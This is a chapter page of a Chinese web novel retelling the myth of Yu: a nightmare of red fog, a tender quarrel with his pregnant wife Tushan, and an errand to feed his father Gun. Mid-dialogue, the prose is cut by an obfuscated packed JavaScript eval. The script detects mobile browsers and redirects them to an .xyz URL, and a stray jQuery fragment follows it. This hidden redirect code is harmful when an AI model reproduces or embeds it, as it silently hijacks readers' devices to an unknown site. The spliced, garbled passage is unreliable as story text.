默认冷灰
24号文字
方正启体

1. 深魇噩梦

作者:谋某本书字数:K更新时间:
    为什么眼前像是蒙了一层浓郁的红雾?


    为什么任由自己竭力挣扎,四方世界仍旧混沌难开?


    禹想不明白。


    此刻,脑海间的逻辑虽然不很明晰,但总归还记得——世代早已不是盘古开天的时候。


    皇天应于头额之上;后土该在足履之下。


    又怎么会像现在这般朦朦胧胧得、什么都不分明?


    禹往前走了几步,却没有实际前进了的实感。在惶恐中转身,接着又惊悚这所在的地方,竟然令他连西北东南都不能分辨。


    他该怎样才能逃出此处?


    而更糟糕的事情还在后头——


    禹发现自己不仅仅只是迷失了方位知觉。他恍恍惚惚,所磨耗得时间越久,时间辨析的能力都开始渐渐沦丧。


    这样的情形之下,如何能够不畏惧呢?


    “涂山!涂山?”


    他试探着呼唤妻子的姓氏,声腔中挟带了丝丝缕缕的不安。


    而周遭没有延音、没有回响。


    甚至呼唤声都未能传达很远。


    像极了细软的泥沙渴噬着水,声音响动一会儿便消弭得无了踪迹。


    “父亲!父亲?”


    禹再一次探问,向远方寻觅另一位至亲。


    他已经不安到了极致,双手僵直、忘了动作,指梢开始麻痹发木。


    可周遭依旧空洞、依旧虚无。


    没有人能在这样的环境里呆上许久。


    纵然是盘古,都要破开混沌、劈开天地。


    可禹只是凡人。


    他没有创世的神力,亦没有霹雳的神斧——只能任自己在焦灼里,无助地滞留。


    几近要疯了。


    好像仓皇中,自己频繁地在喊、在叫。


    可怎么、境遇紧接着把“能听到声音的权利”都剥夺?


    只教他白生双耳、只教他徒劳张口。


    红雾渐浓,萦绕了禹的周身。


    他奔行,却甩不开;他扒拉,仍扯不掉。


    雾气有色无味,不知成分。


    明明只是无形的雾,却令禹的气息顿滞。


    “禹?禹!”


    就在意识陨落的那一霎,生的希望冲破了绝境的暮霭!


    顷刻间,感官骤然恢复,禹听到了妻子涂山氏急切的声音。


    好像是从右前方传来的?


    禹赶忙张望,重新镇静了心绪,励志要把红雾与混沌瞧穿。


    眸子一张一合,红雾与混沌终于褪去。


    木床葛铺兽皮褥,矮窗板户茅草屋。


    他一个激灵、挣扎着醒来,眼前的景物复归寻常。方寸周围都是那样熟悉,因为所在之处,正是他家的屋房。


    涂山氏侧坐在床边,就挨在禹的身侧,神色很是紧张。终于瞧见禹醒转了,才松口气。


    “禹,你入魇了。”噩梦醒转,重回温柔乡。


    “魇?”禹稍顿,彻悟道,“原来是魇。”


    “是又梦到了什么怪东西?好在,现下没事了。”涂山氏语气宽宽,在安抚受惊的身边人。注意到后者额头上密密尽是冷汗,她抬起手,用麻衣袖口帮衬着去拭擦。


    禹顺从地微微仰头,任妻子帮自己擦汗:“害你担心,是我不好。”


    “担心担心……总是噩梦后,才和我说这些好听的话。往日叫你进补些清心的药草,你又不肯,强说‘自己身体健壮,不需要那些’。”涂山氏帮禹擦完汗,落手搭上他的右臂,嘴上唠叨个不停,尽是关心的话语。


    禹本性温厚,并不觉得烦。即使这些唠叨,他已经听过很多很多遍,可当下仍是耐心地接受,时不时还“嗯嗯”应承回应,不让涂山氏落单。


    “你可要知道——你是快要做父亲的人了。日后担心你的人,可不止我涂山氏一个。孩子落地,也会挂念你的。”


    涂山氏已身怀六甲,算一算时间,分娩的日子也经将近。


    提到孩子、提到自己和涂山氏的孩子,禹霎时清空了刚刚梦魇的灰霾,欣悦的情绪一点一点在上泛。


    他忍不住攥着妻子握着他的手,而后一起去触碰她显怀的腹。


    开心能够传染,涂山氏感知到了禹的心境变化,也随之喜乐。


    趁着禹心情好转,涂山氏小心翼翼问道:“这回梦的是什么,能和我说说吗?”


    不是刻意要禹回忆糟糕的事,只是觉着,若能表达出确切的惊恐,说不定能克服畏惧。


    涂山氏问得认真。


    禹看着涂山氏熠熠的眼神,扯不出谎话来敷衍:“我梦到、我梦到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445063|185067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……”


    支支吾吾。明明印象还那么清晰,却难向她描绘半句。


    怕她被吓到。


    涂山氏一开始,还以为禹是真要解释的。结果等了半天,他还是像以往那样,不肯吐露关于梦魇的滴滴点点。


    好心好意想要替夫君分担,到头来又是一厢情愿?涂山氏当然生气。


    甩开双双相握的那端禹的手,涂山氏站离了床,赌气就要离开屋子。


    禹当然要哄的呀!


    疾疾唤“涂山”,道:“你别生气!千过万过,都是我不好。只是……”


    涂山氏的气,大半也属佯装。听到好听的哄人的话,步子要迈走、又停留,在等禹紧接着怎么说。


    “……”禹开口了,只是喃喃的声音实在太小,涂山氏废老大劲都听不见。


    转眼再看他,禹又恢复闭嘴的模样了。


    憋坏了涂山氏的直球性子,她抚摸孕肚、叉腰,乍咧咧呼斥:“我就不该进屋子里来,不该唤醒你!饶你一个人,死在魇境里头最好了!”


    禹反而笑得憨直:“你舍不得的。”


    “哼!谁舍不得你了?你还怪自恋吼!”


    涂山氏抛去怨怼的瞪眼。


    禹心甘情愿接受。


    相依相偎、相护相持。是日子融融有乐的小两口。


    感情的确好,但是小别扭也计较得分明。


    “我要罚你。”涂山氏平静下来,不再怒意冲冲。这时候说的话,似乎认真了几分。


    “你说,怎么罚我都接受。”禹不迟钝的时候,也是平静的,会把涂山氏的每一句话都放在心上。


    涂山氏有时候真的会错觉,错觉自己是不是要求禹上刀山、下火海,禹都会答应?


    当然,涂山氏要罚禹的,不会是那样危险可怖的愿求。


    “罚你去给父亲送饭。真是的!还‘怎么罚都接受’,我是母老虎吗?”涂山氏干啐。吩咐完之后,终于舍得走了。


    这哪能算是惩罚呢?


    送饭明明是每一日、每一日,禹都会做的事。


    目送涂山氏缓缓走出屋门,禹的视线落在屋子中央的木桌上。


    木桌上搁着涂山氏早先预备好的藤篮,藤篮里头,是足够父亲鲧和自己吃饱喝足的饮水与午饭。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)